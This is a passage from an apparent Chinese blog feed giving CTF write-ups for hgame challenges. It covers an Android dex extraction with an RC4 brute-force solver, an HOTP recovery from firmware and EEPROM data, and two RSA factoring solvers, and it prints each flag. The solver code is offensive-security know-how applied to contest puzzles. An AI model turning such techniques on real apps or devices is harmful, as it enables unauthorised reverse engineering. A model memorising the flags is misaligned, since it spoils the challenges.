&lt;p&gt;&lt;code&gt;Cipher&lt;/code&gt;不变，&lt;code&gt;UsrInput&lt;/code&gt;变，“中间数据”也跟着变&lt;/p&gt;
&lt;p&gt;根据提示&lt;code&gt;Try decrypto it，you will get flag！But realy?&lt;/code&gt;，”中间数据“就是我要的Flag&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;copyDexFromAssets&lt;/code&gt;解密出来的dex文件转瞬即逝（被&lt;code&gt;delete&lt;/code&gt;）所以，在&lt;code&gt;delete&lt;/code&gt;之前下断点：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2048&quot; height=&quot;870&quot; src=&quot;https://sh10rl.top/_astro/1753529243934-63.Dllsk9Ce_1lMvFR.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;找到dex文件加载位置&lt;code&gt;/data/data/com.nobody.zunjia/cache/dex&lt;/code&gt; ：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;860&quot; height=&quot;82&quot; src=&quot;https://sh10rl.top/_astro/1753529245537-66.DNEJpPRv_ZjRt0i.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;pull出解密的&lt;code&gt;zunjia.dex&lt;/code&gt;文件:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;adb pull /data/data/com.nobody.zunjia/cache/dex C:\\YourPath&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;拖入JADX分析，发现有&lt;code&gt;encode&lt;/code&gt;：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;592&quot; height=&quot;579&quot; src=&quot;https://sh10rl.top/_astro/1753529247044-69.CpnhTqaI_Z1LN9EE.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;找字符串表，&lt;code&gt;callDexMethod&lt;/code&gt;调用的&lt;code&gt;func1&lt;/code&gt;就是&lt;code&gt;encode&lt;/code&gt;&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1053&quot; height=&quot;269&quot; src=&quot;https://sh10rl.top/_astro/1753529248585-72.CCj38-He_1rfmSz.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;UsrInput&lt;/code&gt;最多12组，可以爆破解出flag:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import itertools
CUSTOM_ALPHABET = &quot;3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5&quot;
b64_encode_table = {i: char for i, char in enumerate(CUSTOM_ALPHABET)}
b64_decode_table = {char: i for i, char in enumerate(CUSTOM_ALPHABET) if i &amp;#x3C; 65}
def custom_b64encode(data):
    encoded = []
    for i in range(0, len(data), 3):
        chunk = data[i:i+3]
        if len(chunk) &amp;#x3C; 3:
            chunk += b&apos;\\x00&apos; * (3 - len(chunk))
        a, b, c = chunk
        combined = (a &amp;#x3C;&amp;#x3C; 16) | (b &amp;#x3C;&amp;#x3C; 8) | c
        indices = [
            (combined &gt;&gt; 18) &amp;#x26; 0x3F,
            (combined &gt;&gt; 12) &amp;#x26; 0x3F,
            (combined &gt;&gt; 6) &amp;#x26; 0x3F,
            combined &amp;#x26; 0x3F,
        ]
        for idx in indices:
            encoded.append(b64_encode_table[idx])
    return &apos;&apos;.join(encoded)
def encode_input(input_str):
    input_bytes = input_str.encode(&apos;latin-1&apos;)
    xor_bytes = bytearray()
    for i, byte in enumerate(input_bytes):
        xor_bytes.append(byte ^ i)
    return custom_b64encode(xor_bytes)
def rc4_decrypt(cipher, key):
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    plain = []
    for byte in cipher:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        plain.append(byte ^ k)
    return bytes(plain)
cipher = bytes([
    0x7A, 0xC7, 0xC7, 0x94, 0x51, 0x82, 0xF5, 0x99, 0x0C, 0x30,
    0xC8, 0xCD, 0x97, 0xFE, 0x3D, 0xD2, 0xAE, 0x0E, 0xBA, 0x83,
    0x59, 0x87, 0xBB, 0xC6, 0x35, 0xE1, 0x8C, 0x59, 0xEF, 0xAD,
    0xFA, 0x94, 0x74, 0xD3, 0x42, 0x27, 0x98, 0x77, 0x54, 0x3B,
    0x46, 0x5E, 0x95
])
def reverse_input(parts):
    return tuple(&apos;o.0&apos; if element == &apos;0.o&apos; else &apos;0.o&apos; for element in parts)
# InputStr → encode(inputStr) → Key ，encode函数已知
# Cipher(已知) → 标准RC4(Cipher, Key) → 中间数据 → XOR + b64encode → Result
for n in range(1, 13):
    for parts in itertools.product([&apos;0.o&apos;, &apos;o.0&apos;], repeat=n):
        input_str = &apos;&apos;.join(parts)
        key_str = encode_input(input_str)
        key_bytes = key_str.encode(&apos;latin-1&apos;)
        middle_data = rc4_decrypt(cipher, key_bytes)
        &apos;&apos;&apos;
        new_input_str = &apos;&apos;.join(reverse_input(parts))
        new_key_str = encode_input(new_input_str)
        new_key_bytes = new_key_str.encode(&apos;latin-1&apos;)
        new_cipher = rc4_decrypt(middle_data,new_key_bytes)
        &apos;&apos;&apos;

        flag_candidate = bytearray()
        for i, byte in enumerate(middle_data):
            flag_candidate.append(byte)
        try:
            flag = flag_candidate.decode(&apos;Latin-1&apos;)

            if &apos;hgame{&apos; in flag:
                print(f&quot;Flag: {flag}&quot;)
                print(f&quot;Input String: {input_str}&quot;)
                exit()

        except UnicodeDecodeError:
            continue&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;377&quot; height=&quot;43&quot; src=&quot;https://sh10rl.top/_astro/1753529251337-75.BdxqX6Ox_2s6FFx.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;two-wires&quot;&gt;Two wires&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;AVR架构是小端序，&lt;code&gt;Counter&lt;/code&gt;要求以大端字节序传入SHA1计算&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;0x0000000000000005&lt;/code&gt;传入SHA1计算的字节序列为：&lt;code&gt;00 00 00 00 00 00 00 05&lt;/code&gt; 而其在AVR架构下的实际存储为小端序：&lt;code&gt;05 00 00 00 00 00 00 00&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;步骤如下：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;提取波形数据，能看出来&lt;code&gt;Key&lt;/code&gt;和&lt;code&gt;Counter&lt;/code&gt;都是哪个&lt;/li&gt;
&lt;li&gt;看固件&lt;code&gt;regen_opt&lt;/code&gt;取了&lt;code&gt;1000000&lt;/code&gt;模，所以密码是6位：&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;818&quot; height=&quot;218&quot; src=&quot;https://sh10rl.top/_astro/1753529286481-78.BF4yiiQI_wULD1.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;看固件反序列化部分，发现魔数是&lt;code&gt;0xcafebabe&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;上位机交互的hotp&quot;&gt;上位机交互的HOTP&lt;/h3&gt;
&lt;blockquote&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;X1 = 283942&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;因为&lt;code&gt;Key&lt;/code&gt;是20Bytes，&lt;code&gt;Counter&lt;/code&gt;是8Bytes，看波形数据很容易看出来：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2590&quot; height=&quot;273&quot; src=&quot;https://sh10rl.top/_astro/1753529290117-81.RCYDpw0y_w0Ke3.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;Key&lt;/code&gt;和&lt;code&gt;Counter&lt;/code&gt;取出来，写脚本得到&lt;code&gt;X2&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;counter32&quot;&gt;counter+32&lt;/h3&gt;
&lt;blockquote&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;Y1 = 431432&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;要原始&lt;code&gt;Key&lt;/code&gt;和&lt;code&gt;Counter&lt;/code&gt;，那就逆固件 + EEPROM&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;序列化****部分：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;874&quot; height=&quot;344&quot; src=&quot;https://sh10rl.top/_astro/1753529291545-84.D0cypzUW_Z2ctCAl.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;对比EEPROM：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1053&quot; height=&quot;223&quot; src=&quot;https://sh10rl.top/_astro/1753529293012-87.OZqdx2Gs_ZjdJAr.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;现在要知道&lt;/strong&gt;**&lt;code&gt;Key&lt;/code&gt;&lt;strong&gt;&lt;strong&gt;和&lt;/strong&gt;&lt;/strong&gt;&lt;code&gt;Counter&lt;/code&gt;&lt;strong&gt;&lt;strong&gt;是怎么存储的，看&lt;/strong&gt;&lt;/strong&gt;&lt;code&gt;regen_otp&lt;/code&gt;**&lt;strong&gt;怎么读取密钥&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;程序取&lt;code&gt;Counter&lt;/code&gt;：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;932&quot; height=&quot;645&quot; src=&quot;https://sh10rl.top/_astro/1753529294746-90.B9WBlwo1_Z1EE94c.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;端序转换：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1795&quot; height=&quot;1063&quot; src=&quot;https://sh10rl.top/_astro/1753529296283-93.CBkxB0fp_lCu6f.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;复制&lt;code&gt;Key&lt;/code&gt; ：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;950&quot; height=&quot;425&quot; src=&quot;https://sh10rl.top/_astro/1753529297653-96.03cqoOJj_1qTA0.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;把&lt;code&gt;Key XOR ipad&lt;/code&gt;传入&lt;code&gt;SHA1&lt;/code&gt;：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1077&quot; height=&quot;596&quot; src=&quot;https://sh10rl.top/_astro/1753529299078-99.4wmzKELg_ZnGId6.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;&lt;code&gt;Counter&lt;/code&gt;最后加&lt;code&gt;1&lt;/code&gt;再存回去：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1009&quot; height=&quot;656&quot; src=&quot;https://sh10rl.top/_astro/1753529300499-102.Dupc1fe9_Z19WoJo.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;交叉引用&lt;/strong&gt;**&lt;code&gt;state&lt;/code&gt;**&lt;strong&gt;看反序列化：&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1028&quot; height=&quot;383&quot; src=&quot;https://sh10rl.top/_astro/1753529302363-105.iGsr3BFj_1XBhE9.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;所以在&lt;strong&gt;&lt;strong&gt;EEPROM&lt;/strong&gt;&lt;/strong&gt;中的存储结构是：&lt;strong&gt;&lt;strong&gt;&lt;code&gt;0xcafebabe&lt;/code&gt;&lt;/strong&gt;&lt;/strong&gt;+&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;Counter&lt;/code&gt;&lt;/strong&gt; &lt;strong&gt;+&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;Key&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;另法直接看&lt;strong&gt;&lt;strong&gt;波形&lt;/strong&gt;&lt;/strong&gt;数据，先写入计数器再写入密钥，能猜出来固件存&lt;/strong&gt;**&lt;code&gt;Key&lt;/code&gt;&lt;strong&gt;&lt;strong&gt;和&lt;/strong&gt;&lt;/strong&gt;&lt;code&gt;Counter&lt;/code&gt;**&lt;strong&gt;的结构&lt;/strong&gt;, &lt;code&gt;counter + 64&lt;/code&gt;同理&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import hmac
import hashlib
import struct

def hotp(key, counter, digits=6):
    &quot;&quot;&quot;
    根据 RFC 4226 生成 HOTP (HMAC-Based One-Time Password) 值.
    &quot;&quot;&quot;
    # 1. 将计数器值转换为 8 字节的网络字节顺序整数
    counter_bytes = struct.pack(&apos;&gt;Q&apos;, counter)
    print(counter_bytes)

    # 2. 使用 HMAC-SHA-1 算法计算 HMAC 值
    hmac_hash = hmac.new(key, counter_bytes, hashlib.sha1).digest()

    # 3. 动态截取 (Dynamic Truncation)
    offset = hmac_hash[19] &amp;#x26; 0xf  # 取最后一个字节的低 4 位作为偏移量
    binary = struct.unpack(&apos;&gt;I&apos;, hmac_hash[offset:offset+4])[0] &amp;#x26; 0x7fffffff  # 从偏移量处取 4 字节，并去除最高位

    # 4. 计算 HOTP 值
    hotp_value = binary % (10 ** digits)

    # 5. 将 HOTP 值格式化为指定位数的字符串
    return str(hotp_value).zfill(digits)

# 示例用法
if __name__ == &quot;__main__&quot;:
    # 你的共享密钥 (必须是字节形式)
    your_secret_key = bytes.fromhex(&quot;6b694f7e0354f6c66ab51a04021b1c6d7d455802&quot;)

    # 计数器值
    counter_value = 0x0dcd7e9300000001

    # 生成一个 6 位数的 HOTP
    hotp_code = hotp(your_secret_key, counter_value, digits=6)

    print(f&quot;HOTP Code: {hotp_code}&quot;)
# 283942
your_secret_key = bytes.fromhex(&quot;6b694f7e0354f6c66ab51a04021b1c6d7d455802&quot;)

# 计数器值
counter_value = 0x0dcd7e9300000001 + 9
# 633153
your_secret_key = bytes.fromhex(&quot;321c31d49454854244de86cc4ab6ddf435429052&quot;)

# 计数器值
counter_value = 0x3a92cd1700000592 + 32
# 431432
your_secret_key = bytes.fromhex(&quot;321c31d49454854244de86cc4ab6ddf435429052&quot;)

# 计数器值
counter_value = 0x3a92cd1700000592 + 64
# 187457
hgame{283942_633153_431432_187457}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;suprimersa&quot;&gt;suprimeRSA&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;p&lt;/code&gt;和&lt;code&gt;q&lt;/code&gt;的结构高度相似：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;621&quot; height=&quot;116&quot; src=&quot;https://sh10rl.top/_astro/1753529314841-108.ShmV0L-R_zHv93.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;直接分解：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1029&quot; height=&quot;156&quot; src=&quot;https://sh10rl.top/_astro/1753529316448-111.CJIq6hw2_ZIi4IP.webp&quot;&gt;&lt;/figure&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import long_to_bytes

n = 669040758304155675570167824759691921106935750270765997139446851830489844731373721233290816258049
enc = 487207283176018824965268172307888245763817583875071008869370172565777230514379236733742846575849
e = 0x10001

# Factored using external tool
p = 796688410951167236263039235508020180383351898113
q = 839777194079410698093279448382785381699926556673

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(enc, d, n)
print(long_to_bytes(m))
# hgame{ROCA_ROCK_and_ROll!}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;sieve&quot;&gt;sieve&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;有：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;366&quot; height=&quot;121&quot; src=&quot;https://sh10rl.top/_astro/1753529335129-117.CDE3bKBk_GAdLb.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\pi(k&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;计算的是小于等于&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;k&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;的素数的个数&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;r&lt;/mi&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;c&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;tric&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;每次都要计算阶乘，计算欧拉函数，时间复杂度高&lt;/li&gt;
&lt;li&gt;&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;π&lt;/mi&gt;&lt;mo stretchy=&quot;false&quot;&gt;(&lt;/mo&gt;&lt;mi&gt;k&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;\pi(k&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;可以使用&lt;code&gt;sympy&lt;/code&gt;的&lt;code&gt;primepi&lt;/code&gt;求&lt;/li&gt;
&lt;li&gt;对第一项使用分块 + 动态规划筛法：&lt;/li&gt;
&lt;/ul&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;393&quot; height=&quot;111&quot; src=&quot;https://sh10rl.top/_astro/1753529336796-120.Dd6uRFBr_Z140PN3.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;分块筛子：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;在给定区间&lt;code&gt;[i , j]&lt;/code&gt;,  &lt;code&gt;n//i&lt;/code&gt;保持不变， 可以一次性处理区间&lt;code&gt;[i, j]&lt;/code&gt;内的&lt;code&gt;summatory_phi(n // i)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DP****筛子：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;定义&lt;code&gt;cache&lt;/code&gt;不重复计算&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;exp：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3
import sys
sys.setrecursionlimit(10000)

from sympy import nextprime, primepi
from Crypto.Util.number import long_to_bytes

# 题目中给出的参数
e = 65537
# 注意这里“^”在 Sage 中是幂运算，故有：
#   e^2 = 65537^2 = 4295098369,  e^2//6 = 715849728
N_arg = 715849728

# 我们有： trick(N_arg) = (sum_{k=1}^{N_arg} φ(k)) + π(N_arg)
# 下面实现一个递归算法计算 ∑_{k=1}^n φ(k)
cache = {}
def summatory_phi(n):
    if n in cache:
        return cache[n]
    # 初值：∑_{k=1}^{n} φ(k) = n(n+1)/2  减去“重叠部分”
    res = n*(n+1)//2
    i = 2
    while i &amp;#x3C;= n:
        # 当 floor(n/i) 保持不变时，可以一次性处理区间 [i, j]
        j = n // (n // i)
        res -= (j - i + 1) * summatory_phi(n // i)
        i = j + 1
    cache[n] = res
    return res

print(&quot;[*] 计算 ∑φ(k)  ...&quot;)
S = summatory_phi(N_arg)
print(f&quot;    ∑φ(k) for k=1..{N_arg} = {S}&quot;)

print(&quot;[*] 计算 π(n) ...&quot;)
P = primepi(N_arg)
print(f&quot;    π({N_arg}) = {P}&quot;)

# 计算 trick(N_arg) = S + P
X = S + P
print(f&quot;[*] trick({N_arg}) = {X}&quot;)

# 按位左移128位，相当于乘以 2^128
candidate = X &amp;#x3C;&amp;#x3C; 128
print(f&quot;[*] candidate = trick({N_arg}) &amp;#x3C;&amp;#x3C; 128 = {candidate}&quot;)

# p = nextprime(candidate)
p = nextprime(candidate)
print(f&quot;[*] p = {p}&quot;)

# 注意密钥构造中 p = q，故 n = p^2
n = p * p
print(f&quot;[*] n = p^2 = {n}&quot;)

# 题目中给出的密文
enc = 2449294097474714136530140099784592732766444481665278038069484466665506153967851063209402336025065476172617376546
print(f&quot;[*] enc = {enc}&quot;)

# 计算 φ(n) = p*(p-1)
phi_n = p * (p - 1)

# 求出 d，使得 d * e ≡ 1 (mod φ(n))
d = pow(e, -1, phi_n)
print(f&quot;[*] d = {d}&quot;)

# 解密：m = enc^d mod n
m_int = pow(enc, d, n)
print(&quot;[*] 解密得到的整数 m =&quot;, m_int)

# 将整数 m 转回字节串
flag = long_to_bytes(m_int)
print(&quot;[*] FLAG =&quot;, flag)
# hgame{sieve_is_n0t_that_HArd}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;904&quot; height=&quot;208&quot; src=&quot;https://sh10rl.top/_astro/1753529331553-114.DCIqZyd5_Z210zWN.webp&quot;&gt;&lt;/figure&gt;</content:encoded><category>CTF</category></item><item><title>Mathematical modeling collection</title><link>https://sh10rl.top/posts/math-modeling-compilation/</link><guid isPermaLink="true">https://sh10rl.top/posts/math-modeling-compilation/</guid><description>Legacies</description><pubDate>Sun, 01 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://pcnc027ut287.feishu.cn/docx/GLa3dFZ3uovlUGxpTuDcWNAznmR?from=from_copylink&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;2021C 生产企业原材料的订购与运输复现&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://pcnc027ut287.feishu.cn/docx/RAWndnuUAo0eOYxKce4c2TQLnre?from=from_copylink&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;2020B 穿越沙漠复现&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://pcnc027ut287.feishu.cn/docx/My8wdsqcDoNnjkxOPgeckjjInTg?from=from_copylink&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;MathorCup 建模手&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded><category>Learn</category></item></channel></rss>